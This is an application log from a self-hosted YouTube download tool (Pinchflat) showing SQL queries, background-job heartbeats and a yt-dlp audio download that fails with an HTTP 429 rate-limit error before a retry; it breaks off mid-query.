Running yt-dlp command for action: download 16:21:29.242 [debug] QUERY OK source="settings" db=0.3ms idle=491.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:29.243 [debug] QUERY OK source="settings" db=0.2ms idle=380.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:29.243 [debug] QUERY OK source="settings" db=0.0ms idle=380.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:29.243 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6f/de/6fdeff700f0a1887b49fc11bcd4286aab0744bda5f1bee9e0f8a7780dd6eddeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:21:33.976 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6f/de/6fdeff700f0a1887b49fc11bcd4286aab0744bda5f1bee9e0f8a7780dd6eddeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 16:21:33.976 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 16:21:34.199 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":51},"id":61,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7034050,"event":"job:exception","queue_time":216654,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:21:50.887 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.358 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:20.888 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:50.889 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.358 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:20.891 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:50.892 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.360 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:20.893 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:50.894 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.360 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:20.895 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:50.896 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.361 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:20.897 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:50.898 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.362 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:20.899 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:50.901 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.364 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:20.903 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:50.904 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.365 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:20.905 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:50.907 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.365 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:20.909 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:50.910 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.366 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:20.911 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:50.914 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.367 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:20.916 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:50.917 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.368 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:20.918 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:50.919 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.370 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:20.921 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:50.923 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.370 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:20.924 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:50.925 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.371 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:20.927 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:50.928 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.372 [info] {"source":"oban","duration":134,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:20.929 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:50.930 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.374 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:20.931 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:50.932 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.374 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:20.933 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:50.935 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.375 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:20.936 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:50.937 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.376 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:20.939 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:50.941 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.377 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:20.942 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:50.943 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.378 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:20.944 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:50.947 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.379 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:20.948 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:50.949 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.380 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:20.952 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:50.953 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.381 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:20.954 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:50.955 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.382 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:20.956 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:50.957 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.384 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:20.958 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:50.959 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.384 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:20.961 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:50.963 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.385 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:20.964 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:50.965 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.386 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:20.966 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:50.967 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.387 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:20.968 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:50.969 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.388 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:20.970 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:50.971 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.389 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:20.972 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:50.973 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.390 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:20.974 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:50.975 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.391 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:20.976 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:50.977 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.392 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:20.326 [info] GET / 16:57:20.326 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:57:20.327 [debug] QUERY OK source="settings" db=0.1ms idle=1464.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:20.327 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1464.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:57:20.327 [debug] QUERY OK source="sources" db=0.0ms idle=1464.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:57:20.327 [debug] QUERY OK source="media_items" db=0.1ms idle=838.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:57:20.327 [debug] QUERY OK source="media_items" db=0.0ms idle=465.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:57:20.328 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:20.328 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:20.328 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:20.329 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:57:20.329 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:57:20.330 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:57:20.330 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:57:20.331 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 16:57:20.332 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:57:20.332 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:57:20.333 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:57:20.334 [info] Sent 200 in 7ms 16:57:20.978 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:50.979 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.394 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:20.981 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:32.129 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784926712129415364,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:58:32.129 [debug] QUERY OK source="media_items" db=0.2ms idle=1266.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 16:58:32.130 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:58:32.130 [debug] QUERY OK source="sources" db=0.1ms idle=1267.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:32.130 [debug] QUERY OK source="media_profiles" db=0.1ms idle=267.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:32.130 [debug] QUERY OK source="media_items" db=0.1ms idle=243.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN 